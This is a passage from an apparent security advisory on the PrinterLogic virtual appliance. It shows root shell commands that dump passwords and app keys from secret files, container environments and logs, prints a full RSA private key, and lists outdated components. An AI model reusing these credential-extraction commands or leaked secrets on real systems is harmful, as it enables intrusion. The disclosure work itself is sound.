          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    root@printerlogic:/var/www/efs_storage/.secrets# cat app-keys
    APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M"
    MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3"
    root@printerlogic:/var/www/efs_storage/.secrets# gpg portainer-admin.gpg 
    gpg: WARNING: no command supplied.  Trying to guess what you mean ...
    gpg: encrypted with 4096-bit RSA key, ID FCF4134A2496B21A, created 
2020-01-23
          "PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>"
    root@printerlogic:/var/www/efs_storage/.secrets# cat portainer-admin
    PORTAINER_PASSWORD="1bd01aeb-e29d-4de6-83ca-11e55858c6ae"
    root@printerlogic:/var/www/efs_storage/.secrets#

We can verify these passwords are correct using the root access on the 
solution. These decrypted passwords match the passwords defined in environment 
variables.

Extracting passwords from environment variables:

    root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo 
$(docker ps | grep $i | awk '{ print $1'}); docker exec -it $i env;done|grep 
MYSQL_ROOT
    Error: No such container: CONTAINER
    MYSQL_ROOT_PASSWORD=0aa58a30-9f32-4731-a03c-3795fe49c0f3
    root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo 
$(docker ps | grep $i | awk '{ print $1'}); docker exec -it $i env;done|grep 
APP_KEY
    Error: No such container: CONTAINER
    APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M
    APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M
    APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M
    APP_KEY=1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M
    [...]

It is also possible to reach the portainer agent running in the 
`portainer/agent` Docker instance on port 9001/tcp from any Docker instance. An 
attacker may use the `PORTAINER_PASSWORD` value to control the portainer agent.

Using the mysql credentials, it is possible to compromise the application from 
any docker instance that has the `/var/www/efs_storage` mounting point - there 
is no firewall between docker instances so all the docker instances have a full 
network access to the mysql server and they also have access to the mysql 
credentials from `/var/www/efs_storage/secrets.env` and the Laravel application 
key, allowing Remote Code Execution against Docker instances that run Nginx 
with PHP.

Moreover, the session files are world-readable.

Extracting sessions from `/var/www/efs_storage/pi/storage/framework/sessions`:

    root@printerlogic:/var/www/efs_storage# ls -la 
./pi/storage/framework/sessions/
    total 12
    drwxrwsr-x+ 2 www-data docker   4096 Feb  2 03:38 .
    drwxrwsr-x+ 5 www-data www-data 4096 Jan 27 09:37 ..
    -rw-rw-r--+ 1 www-data docker    118 Feb  2 03:38 
jIHjRaArwpNVBdE9EokQeQoD0oYdaw4aq87oqAK0
    root@printerlogic:/var/www/efs_storage# cat 
./pi/storage/framework/sessions/jIHjRaArwpNVBdE9EokQeQoD0oYdaw4aq87oqAK0 ; echo
    
a:2:{s:6:"_token";s:40:"gGVo8IMaJbVz5ZXPY8ThCeFCLbE8wa09UvCdMXXV";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}
    root@printerlogic:/var/www/efs_storage#

- From the Docker instances, as the applications run as root, there is a full 
access to any file in `/var/www/efs_storage`, as shown below.

For example, the `client-key.pem` file used in Mysql is owned by mysql and the 
permissions are `600`. There is a full Read/Write access from the Docker image 
`printerlogic/va-api`.

Reading `client-key.pem` as root from the Docker instance `printerlogic/va-api`:

    /var/www/efs_storage/mysql # ls -la 
    total 214684
    [...]
    -rw-------    1 999      ping          1680 Jan 27 09:36 client-key.pem
    [...]
    /var/www/efs_storage/mysql # cat client-key.pem
    -----BEGIN RSA PRIVATE KEY-----
    MIIEpAIBAAKCAQEAvC7hbdFLOPXiolgs+MM+jHAu1160g91yoLhbSZTUTUGNMM6+
    t2btq5F4UtH1G6SUzuQs7d2BCrpyrTkB2idkiKlFVUPVVKEFOXwBsnMcotqfL/9N
    dyEVwxa6Lp0hHRWaOPntTx56+nCl95Ab7CGMJp2i2Nr0qrhOjv+0idVeiTUGGpSp
    cWQQilOwCgS/nDAuGBfmT9Mk2ARPDyV/lsJR4wEm1yAQWJ5cQrhhpriZRMFMwZUs
    dg1BfcRfxtRpo8M097HjkERKsPjUHIxbxYWDvfN8PJFTgUChaZ3T5AuCsLYleirV
    pNRxTj2UT9bjOfU4qWNc3crMgu017qqsZLqbZwIDAQABAoIBAATIpE5oXaMrDQHX
    f/0q6XIkf+xVqf0YKgvP4/Iw6Fy2Z+JvvwVmhnAwGIDyeWqkemvv/Pxm/xrItpWU
    t2lWSwX2V57dRJUMKtfVQS3KI1Y4fId50/xNSQJWl5ELyYW1wN/l6pRyT+oB5xYu
    Aae1Cp0IsNUWa9XTLZwRAAPo+qg+N6ketWyzjW5Fw6KfLbksF/QV6eWJwBOCDbJo
    gfXzXaSUhDXsEjVoCSa3HIvBmxrfzVx5R1Zr+r3tKAyhbnYYoH6RNOnSlp4TVpKD
    UJ9PowDWpIL/eGH65iHfDwfOaEeck6Ty4ADYCtzygAfJTcW2HXywdOAPtRrqv1gD
    HoLcX3ECgYEA4v4WKOIrGI20KADmRxeayPBViUqSYk49esgP9rKuXbd+W2GBvPpJ
    APesO9CbBszIOe8/T2+Efg9MywevlJWydtTqnUtNlTIQPBynrUXGf+fIkkjhAF+T
    5OMfPo/fvsfSJS86H2WBZqr2mmciSlXgMtQRnknKcla0X2MbDof73L0CgYEA1Dsr
    cPoFUXHWP8FjQhFdmMIORlzk7fwUtD7BRYRL8vLwYzWm6R1zY3m4XLa+yMqA38N8
    Tsfx/xEOevbZXs7loHMJHxTKYwf7PatllTPMLntBJBdXS9cbDE+bo/KHVZPwGd+a
    0pBzWwEbzP7vXR1C7+PFrA8l+UUjSQ9U1mmrpPMCgYBcCodVwI+U/zCD4Al/3jRn
    MfydFN3SesM3HBRNBhrp6VOVHi6LQDmF6OevwWB7G2I9C6PyQ9fHfdC3qsApUaHx
    yVfwu+4Thx9KIJxlCBv7FTMhDegeTKMddnLe3VvucfvmFAZPYMtdpAkmhpdC6Rtl
    wNP8CRPL1RiCbR81fzJDSQKBgQCaUDuR9fkP8xm5Wb/2NfI8ND104+6BLB1RwZ9+
    EGe4yvQG7ufh8EwKNGLc5vNpw/RYvycPkUpgD+LbfcknqoBEXeBv/Qn7X75KZOmD
    xxnbYjtHJsGOn2VHWkrstle43cxiw7crC2UU8oVoVKVuquwUySTdqlYOHTs+0Cr7
    i/IGCQKBgQCCFghgRsQabDYo8ou7TPTQ4o+5bb0bnskps/Vrgpx11iom/9WNZGbP
    VS63QifOzog+fP68Evw6uriy9Y+VUnLcRDIPfyXUncpClRKcAzh0YakBP6A3Lqnv
    hZLW8dhZKQqyIMUtOra5tKMqstCLnNd0yaMALY1VgchJ93UGjMIKzg==
    -----END RSA PRIVATE KEY-----
    /var/www/efs_storage/mysql #

- From the world-readable logs, it is also possible to extract valid passwords:

Extracting the mysql password from logs:

    root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# ls 
-la
    total 940
    drwxrwsr-x+ 2 root   docker   4096 Feb  2 06:25 .
    drwxrwsr-x+ 4 ubuntu docker   4096 Jan 27 09:37 ..
    -rw-rw-r--+ 1 syslog syslog   2008 Feb  4 02:08 config.log
    -rw-r--r--  1 syslog adm      2740 Jan 28 02:29 config.log-20220128.xz
    -rw-rw-r--+ 1 syslog syslog    332 Jan 31 05:24 config.log-20220131.xz
    -rw-rw-r--+ 1 syslog syslog    288 Feb  1 00:58 config.log-20220201.xz
    -rw-rw-r--+ 1 syslog syslog    502 Feb  2 03:37 config.log-20220202
    -rw-rw-r--+ 1 syslog syslog  24153 Feb  4 05:17 cron.log
    -rw-r--r--  1 syslog adm       848 Jan 28 06:25 cron.log-20220128.xz
    -rw-rw-r--+ 1 syslog syslog    236 Jan 31 06:25 cron.log-20220131.xz
    -rw-rw-r--+ 1 syslog syslog   1064 Feb  1 06:25 cron.log-20220201.xz
    -rw-rw-r--+ 1 syslog syslog    696 Feb  2 06:25 cron.log-20220202
    -rw-rw-r--+ 1 syslog syslog   4396 Feb  4 02:08 init.log
    -rw-r--r--  1 syslog adm      2748 Jan 28 02:29 init.log-20220128.xz
    -rw-rw-r--+ 1 syslog syslog    468 Jan 31 05:25 init.log-20220131.xz
    -rw-rw-r--+ 1 syslog syslog    532 Feb  1 04:14 init.log-20220201.xz
    -rw-rw-r--+ 1 syslog syslog   1558 Feb  2 03:39 init.log-20220202
    -rw-rw-r--+ 1 syslog syslog  72050 Feb  4 05:37 pi.log
    -rw-r--r--+ 1 syslog adm      7600 Jan 28 02:29 pi.log-20220128.xz
    -rw-rw-r--+ 1 syslog syslog   3964 Jan 31 05:34 pi.log-20220131.xz
    [...]
    root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# 
xzgrep -i password *xz
    [...]
    services.log-20220131.xz:Jan 31 05:11:47 printerlogic 
va/printercloud_pq.1.oudnppibc8qwbym8z1wp91664[1547]: + timeout 180 bash -c     
until mysql     -h mysql     -u admin     -P 3306     
--password="BBlIL1X1ARvyrnA3FBpt"     -e 'CREATE SCHEMA IF NOT EXISTS 
`app_pi`';     do sleep 5; done
    services.log-20220131.xz:Jan 31 05:11:51 printerlogic 
va/printercloud_scd.1.84yt6sjlse8b2wz163dd1o0du[1547]: + timeout 180 bash -c '  
  until mysql     -h mysql     -u admin     -P 3306     
--password="BBlIL1X1ARvyrnA3FBpt"     -e '"'"'CREATE SCHEMA IF NOT EXISTS 
`app_scd`'"'"';     do sleep 5; done
    services.log-20220131.xz:Jan 31 05:12:03 printerlogic 
va/printercloud_idpi.1.z63z6m6udibpdq0mry74vv0xw[1547]: + timeout 180 bash -c ' 
   until mysql     -h mysql     -u admin     -P 3306     
--password="BBlIL1X1ARvyrnA3FBpt"     -e '"'"'CREATE SCHEMA IF NOT EXISTS 
`app_idpi`'"'"';     do sleep 5; done
    services.log-20220131.xz:Jan 31 05:25:12 printerlogic 
va/printercloud_scd.1.fp2n1q66h84za3kweq6m91k6s[1387]: + timeout 180 bash -c '  
  until mysql     -h mysql     -u admin     -P 3306     
--password="BBlIL1X1ARvyrnA3FBpt"     -e '"'"'CREATE SCHEMA IF NOT EXISTS 
`app_scd`'"'"';     do sleep 5; done
    services.log-20220131.xz:Jan 31 05:25:13 printerlogic 
va/printercloud_pq.1.1xuk7airnt3u8tbpbkzed8pbh[1387]: + timeout 180 bash -c     
until mysql     -h mysql     -u admin     -P 3306     
--password="BBlIL1X1ARvyrnA3FBpt"     -e 'CREATE SCHEMA IF NOT EXISTS 
`app_pi`';     do sleep 5; done

The files `pi.log` and `services.log` contain passwords in clear-text.

Because of the lack of defense in depth and the fact that passwords are written 
in clear-text in world-readable files, if any docker instance is compromised 
then the appliance is likely compromised.



## Details - Outdated, End-Of-Life, unsupported and vulnerable components 
(Nginx, libraries, Laravel, operating systems)

While checking the 109 Nginx processes running in the appliance, it appears 
Nginx is running inside several different Docker instances and some versions 
are outdated and have CVEs.

Determining Nginx versions:

    root@printerlogic:/dev/shm# ps -auxww | grep -i nginx | wc -l
    109
    root@printerlogic:/dev/shm# for i in $(docker ps | awk '{ print $1 }'); do 
(echo $(docker ps | grep $i);docker exec -it $i /usr/sbin/nginx -V;echo ) 
>/dev/shm/$i;done
    root@printerlogic:/dev/shm# awk '/version/{ print $3 }' * | sort | uniq -c
          2 nginx/1.17.2
         13 nginx/1.17.5
          1 nginx/1.20.0
          2 nginx/1.21.4
          1 nginx/1.21.5

In total, the Docker instances use 5 different versions of Nginx:

- - 1.17.2 (2 instances)
- - 1.17.5 (13 instances)
- - 1.20.0 (1 instance)
- - 1.21.4 (2 instances)
- - 1.21.5 (1 instance)

Nginx 1.17 branch is EOL and security fixes haven't been applied in the Nginx 
installations because some binaries haven't been updated since 2019.

Date of when the nginx binaries have been installed into Docker instances:

    root@printerlogic:/dev/shm# for i in $(docker ps|awk '{ print $1 }'); do 
docker exec -it $i ls -la /usr/sbin/nginx;done
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019 /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1149824 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1322056 Jul 23  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1378488 Nov  2 15:01 /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1374232 Apr 20  2021 /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1378488 Nov  2 15:01 /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1149824 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1198240 Dec 28 18:48 /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1145728 Jul 23  2019  /usr/sbin/nginx
    -rwxr-xr-x 1 root root 1326152 Oct 22  2019  /usr/sbin/nginx

When analyzing these builts, some Nginx have been compiled by unsupported OS 
which is not clearly a good indicator regarding security.

Determining operating systems that were used when compiling the Nginx binaries:

    root@printerlogic:/dev/shm# cat * | grep -i gcc | sort | uniq -c
          2 built by gcc 10.2.1 20210110 (Debian 10.2.1-6) 
          1 built by gcc 10.3.1 20211027 (Alpine 10.3.1_git20211027) 
          1 built by gcc 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) 
          3 built by gcc 8.3.0 (Alpine 8.3.0) 
         11 built by gcc 8.3.0 (Debian 8.3.0-6) 
          1 built by gcc 9.3.0 (Ubuntu 9.3.0-10ubuntu2)

A script is provided to check the version of the userland (`operating systems`) 
used in Docker instances:

[code:shell]
root@printerlogic:/dev/shm# cat check-docker-os.sh
      1 #!/bin/sh
      2 
      3 for i in $(docker ps | awk '{ print $1 }')
      4 do
      5   echo $(docker ps | grep $i)
      6   docker exec -it $i sh -c 'if [ -f /usr/lib/os-release ]; then
      7        cat /usr/lib/os-release
      8      fi
      9      if [ -f /etc/alpine-release ]; then
     10        cat /etc/alpine-release
     11      fi'
     12   echo
     13 done
[/code]

Using this script, the underlying operating systems for each Docker instance 
were determined.

Unsupported systems are still in use even if libraries are outdated and 
security patches are not provided anymore:

- - Alpine 3.10.5 - printerlogic/idpi:1.0.6
- - Alpine 3.10.5 - printerlogic/scd:1.0.70
- - Alpine 3.10.5 - printerlogic/tree:1.0.57
- - Alpine 3.11.11 - printerlogic/scss:1.0.39
- - Alpine 3.11.12 - printerlogic/prs:1.0.2
- - Alpine 3.11.2 - printerlogic/eb:0.0.4
- - Alpine 3.11.9 - printerlogic/ebc:1.0.34
- - Alpine 3.12.0 - dperson/samba:latest
- - Alpine 3.13.5 - printerlogic/hive:1.1.30
- - Alpine 3.14.2 - printerlogic/va-api:1.1.4
- - Alpine 3.14.3 - printerlogic/edw:1.0.44, traefik:latest, 
printerlogic/cat:1.0.58,
- - Alpine 3.15.0 - printerlogic/oncp-pgw:v1.0.21, 
printerlogic/oncp-hold:v1.0.31, printerlogic/identity:v1.0.88, 
printerlogic/ofn:1.108.0, redis:5-alpine, printerlogic/oncp-ofn:v1.0.6, 
printerlogic/oncp-reg:1.0.15, printerlogic/qms:1.0.124, 
printerlogic/va-cdn:0.0.435,
- - Debian 10 - printerlogic/pq:5.0.124, printerlogic/authn:1.0.257, 
printerlogic/pi:5.0.6539, printerlogic/pi:5.0.6539, printerlogic/scim:1.0.9, 
printerlogic/sched:1.0.18, printerlogic/pi:5.0.6539, mysql:8.0.26, 
printerlogic/pi:5.0.6539, printerlogic/pi:5.0.6539, printerlogic/gw:1.208.5, 
printerlogic/pi:5.0.6539, printerlogic/cpp-ui:1.80.5,
- - Debian 11 - printerlogic/users:5.186.1, printerlogic/users:5.186.1,
- - Ubuntu 18.04.6 LTS - printerlogic/client:25.1.0.551
- - Ubuntu 20.04.2 LTS - printerlogic/br:1.0.62

Alpine 3.10.x and 3.11.x are EOL.

Alpine 3.12.x will be EOL in May 2022, Alpine 3.13 will be EOL in November 2022 
and Debian 10 will be EOL in August 2022.

Furthermore, some Docker instances are using Debian 10 which will be EOL-ed in 
6 months.

It is also possible to check the versions of OpenSSL libraries used by Nginx: 
OpenSSL 1.1.d is outdated and is affected by several CVEs. OpenSSL 1.1.1k is 
also outdated (but may contain back-port security patches):

    root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do docker 
exec -it $i /usr/sbin/nginx -V;done | grep -i openssl
    Error: No such container: CONTAINER
    built with OpenSSL 1.1.0j  20 Nov 2018 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1k  25 Mar 2021
    built with OpenSSL 1.1.1l  24 Aug 2021
    built with OpenSSL 1.1.1k  25 Mar 2021
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1k  25 Mar 
2021)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1k  25 Mar 
2021)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1k  25 Mar 
2021)
    built with OpenSSL 1.1.1f  31 Mar 2020
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    built with OpenSSL 1.1.1c  28 May 2019 (running with OpenSSL 1.1.1d  10 Sep 
2019)
    root@printerlogic:~#

When randomly choosing a Docker instance, we can confirm the openssl version is 
outdated. This version will still be used by the PHP code running on the Docker 
instance.

Determining the openssl versions in the `printerlogic/pi:5.0.6539` Docker 
instance :

    root@printerlogic:~# docker ps | grep 5f1ea5e4df83
    5f1ea5e4df83        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  
 11 minutes ago      Up 11 minutes             80/tcp, 443/tcp, 9000-9001/tcp   
printercloud_worker-pi-snmp.1.ov4ffd4qd6r734pcslu6r9kr6
    root@printerlogic:~# docker exec -it 5f1ea5e4df83 /bin/sh
    # ps -a   
      PID TTY          TIME CMD
       98 pts/0    00:00:00 ps
    # ps -auxww
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.1  0.6 392100 49132 ?        Ssl  02:08   0:00 php 
artisan queue:work --queue=snmp-status --sleep=3 --tries=1
    root        93  1.5  0.0   2392   764 pts/0    Ss   02:20   0:00 /bin/sh
    root        99  0.0  0.0 217556  3064 pts/0    R+   02:20   0:00 ps -auxww
    # find /|grep libssl
    /usr/lib/x86_64-linux-gnu/libssl.so.1.1
    /usr/lib/x86_64-linux-gnu/libssl.so
    /usr/lib/x86_64-linux-gnu/libssl.a
    [...]
    # strings /usr/lib/x86_64-linux-gnu/libssl.so | grep OpenSSL
    OpenSSL 1.1.1d  10 Sep 2019
    #

When analyzing the Docker instances freely available at 
https://hub.docker.com/r/printerlogic/base-php-fpm-nginx, it was confirmed 
these instances are using outdated software. These instances are likely used as 
reference images to create new instances.

Determining software versions in the `printerlogic/base-php-fpm-nginx:latest` 
reference image:

    kali# docker pull printerlogic/base-php-fpm-nginx
    Using default tag: latest
    latest: Pulling from printerlogic/base-php-fpm-nginx
    6ec7b7d162b2: Pull complete 
    db606474d60c: Pull complete 
    afb30f0cd8e0: Pull complete 
    3bb2e8051594: Pull complete 
    4d71313b39b0: Pull complete 
    381de550657f: Pull complete 
    e671c4250cc8: Pull complete
    [...]
    kali# docker save printerlogic/base-php-fpm-nginx > /dev/shm/test.tar
    kali# pwd
    /dev/shm 
    kali# mkdir output && cd output                                             
                           
    kali# tar xvf ../test.tar
    kali# for i in */; do cd $i && tar xvf *tar && cd /dev/shm/output;done
    kali# strings 
./679eaa2d89e00f8903c220a8d880e07c4205ef789d665adff4b59e77fe1abb93/usr/lib/x86_64-linux-gnu/libssl.so.1.1|grep
 OpenSSL 
    OpenSSL 1.1.1d  10 Sep 2019
    kali# strings *//usr/sbin/nginx|grep 1.17
    nginx version: nginx/1.17.5
    configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx 
--modules-path=/usr/lib/nginx/modules [...] 
-fdebug-prefix-map=/data/builder/debuild/nginx-1.17.5/debian/debuild-base/nginx-1.17.5=.
 -fstack-protector-strong -Wformat -Werror=format-security 
-Wp,-D_FORTIFY_SOURCE=2 -fPIC' --with-ld-opt='-Wl,-z,relro -Wl,-z,now 
-Wl,--as-needed -pie'
    nginx/1.17.5

Futhermore, while auditing the PHP code, it appears the appliance is using a 
mix of different versions of Laravel in the Docker instances - all of these 
versions are EOL.

Determining the Laravel version in all Docker instances:

    root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo 
$(docker ps | grep $i | awk '{ print $2'}); docker exec -it $i sh -c "if [ -f 
/var/www/vendor/laravel/framework/src/Illuminate/Foundation/Application.php ]; 
then grep -B 5 'VERSION =' 
/var/www/vendor/laravel/framework/src/Illuminate/Foundation/Application.php;fi";echo;
 done
    
    printerlogic/pi:5.0.6539
        /**
         * The Laravel framework version.
         *
         * @var string
         */
        const VERSION = '5.5.45'; <- EOL in 2020
    
    printerlogic/pi:5.0.6539
        const VERSION = '5.5.45'; <- EOL IN 2020
    
    printerlogic/users:5.186.1
        const VERSION = '5.8.38'; <- EOL IN 2019
    
    printerlogic/pi:5.0.6539
        const VERSION = '5.5.45'; <- EOL IN 2020
    
    printerlogic/scd:1.0.70
        const VERSION = '6.18.10'; <- EOL but security patches still provided
    
    printerlogic/scim:1.0.9
        const VERSION = '5.8.38'; <- EOL IN 2019
    
    printerlogic/gw:1.208.5
        const VERSION = '5.7.26'; <- EOL IN 2019
    
    printerlogic/users:5.186.1
        const VERSION = '5.8.38'; <- EOL IN 2020
    
    printerlogic/cpp-ui:1.80.5
        const VERSION = '7.12.0'; <- will EOL in March 2022
    
    printerlogic/idpi:1.0.6
        const VERSION = '6.14.0'; <- EOL but security patches still provided
    
    printerlogic/authn:1.0.257
        const VERSION = '5.8.38'; <- EOL IN 2019
    
    printerlogic/pi:5.0.6539
        const VERSION = '5.5.45'; <- EOL IN 2020
    
    printerlogic/tree:1.0.57
        const VERSION = '6.20.43'; <- EOL but security patches still provided
    
    printerlogic/pi:5.0.6539
        const VERSION = '5.5.45'; <- EOL IN 2020
    
    printerlogic/pq:5.0.124
        const VERSION = '5.7.9'; <- EOL IN 2019
    
    printerlogic/pi:5.0.6539
        const VERSION = '5.5.45'; <- EOL IN 2020

Laravel versions are EOL in these 16 Docker instances.

Laravel support (image from Wikipedia, as of January 2022): 

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

The code is also using outdated PHP libraries, containing public 
vulnerabilities:

- - ./app/lib/common/aws/sdk.class.php from 2011
- - ./app/lib/common/phpmailer/class.phpmailer.php 5.1 from 2010 ( * @version 
$Id: class.phpmailer.php,v 1.1 2010/09/05 01:08:18 aaron Exp $)
- - ./app/common/upload.class.php class upload - 0.27 (14/05/2009) - several 
CVEs

Some of these libraries are outdated and are vulnerable to public 
vulnerabilities. It is recommended to review all the libraries in the different 
directories they are stored:

    kali% less app/common/
    d3.tip.js                       jquery-migrate-1.2.1.js         ppp_only/   
                    validation.class.php
    google_authorization_email.txt  jquery-ui-1.8.1.custom.min.js   themes/     
                    version_reader.php
    jquery.dataTables.js            login.class.php                 tooltips.js 
    
    jquery-fieldselection.js        passwordrecovery.email.txt      
upload.class.php
    kali% ls app/lib/common 
    admin.header.inc.php       breadcrumbs.php      current_selection.php  
header.inc.php     logout.php  php-imap     
TranslationsEmbedStaticTranslations.php
    auto_open_tree_search.php  browse_complete.php  global.inc.php         
lightopenid        oses.php    phpmailer    verify_company_login.php
    aws                        browse.php           global.php             
load-settings.php  pChart      tooltip.php

All the docker instances are using outdated libraries, without security patches.

The code relies heavily on Laravel / Illuminate and these libraries are 
outdated and contain security vulnerabilities.



## Details - Processes running as root in Docker instances

When analyzing Docker instances, it was observed that some Docker instances are 
running processes (php, nodeJS, Rust binaries, Go binaries) as root. This list 
is not exhaustive.

Custom processes running as root inside Docker instances:

    root@printerlogic:/dev/shm/a# for i in $(docker ps | awk '{ print $1 }'); 
do echo $(docker ps | grep $i); docker exec -it $i sh -c 'ps -a';done
    
    16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh " 3 hours ago Up 
3 hours (healthy) 80/tcp 
printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
    PID   USER     TIME  COMMAND
        1 root      0:01 va-api
    
    9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 
3 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.2 392100 21920 ?        Ssl  03:38   0:07 php 
artisan queue:work --queue=seeder --sleep=3 --tries=1
    
    7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 
3 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.2 392100 22484 ?        Ssl  03:38   0:07 php 
artisan queue:work --queue=scheduled-report --sleep=3 --tries=1
    
    bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 
3 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.2 392100 23808 ?        Ssl  03:38   0:07 php 
artisan queue:work --queue=snmp-status --sleep=3 --tries=1
    
    9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.dock" 3 hours ago Up 
3 hours 80/tcp, 443/tcp, 9000/tcp 
printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.0   2392   976 ?        Ss   03:37   0:00 sh -c 
while true; do php /var/www/app/artisan schedule:run; sleep 6
    
    b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 
3 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.3 392100 28060 ?        Ssl  03:38   0:07 php 
artisan queue:work --queue=laravel-schedule-low --sleep=3 -tri
    
    ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 
3 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.3 398244 30584 ?        Ssl  03:38   0:09 php 
artisan queue:work --queue=laravel-schedule-high --sleep=3 -tr
    
    bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" 3 hours ago 
Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp 
printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.1  0.2 389304 19952 ?        Ssl  03:38   0:10 php 
artisan queue:work --queue=users --sleep=3 --tries=1
    
    6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" 3 hours 
ago Up 3 hours printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc
    USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
    root         1  0.0  0.0   4636   464 ?        Ss   03:38   0:00 /bin/sh -c 
supervisord -n -c /etc/supervisor/supervisord.conf
    root         6  0.0  0.0  55460  3640 ?        S    03:38   0:03 
